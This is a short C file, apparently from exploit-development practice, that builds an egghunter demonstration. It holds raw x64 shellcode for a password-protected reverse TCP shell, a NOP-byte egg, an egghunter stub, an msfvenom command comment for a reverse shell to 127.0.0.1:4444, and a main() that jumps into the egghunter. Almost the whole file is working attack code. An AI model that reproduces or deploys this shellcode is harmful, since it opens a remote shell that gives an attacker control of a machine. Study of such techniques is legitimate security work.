#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x64/xor -f c
// added the egg at the beginning
unsigned char shellcode[] = 

    // EGG
    "\x90\x90\x90\x90\x90\x90\x90\x90"

    // PAYLOAD : Password protected reverse TCP shell (from : https://github.com/alanvivona/pwnshop)
    "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x49\x89\xc7\x48\x97\x48\xb9\xfe\xff\xee\xa3\x80\xff\xff\xfe\x48\xf7\xd9\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xc0\x4c\x89\xff\x6a\x04\x5a\x48\x29\xd4\x48\x89\xe6\x0f\x05\x48\xb8\x45\x49\x4e\x21\x4c\x45\x54\x4d\x48\x89\xf7\x48\xaf\x75\xde\x4c\x89\xff\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x48\x89\xe2\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05";

unsigned char egghunter[] = 
    // EGG-HUNTER
    "\x48\x31\xf6\x48\x89\xf7\x66\x81\xcf\xff\x0f\x48\xff\xc7\x6a\x15\x58\x0f\x05\x3c\xf2\x74\xef\xb8\x91\x90\x90\x90\xfe\xc8\xaf\x75\xed\xff\xe7";

int main() {
    
    char *heap = (char*)malloc(1000);
    
    memset(heap, '\0', 1000);
    memcpy(heap, shellcode, 128);

    printf("Egghunter Length: %zu\n", strlen(egghunter));
    printf("Shellcode Length: %zu\n", strlen(shellcode));
    printf("Shellcode located at:  %p\n", shellcode);

    int (*ret)() = (int(*)())egghunter;
    ret();
    return 0;
}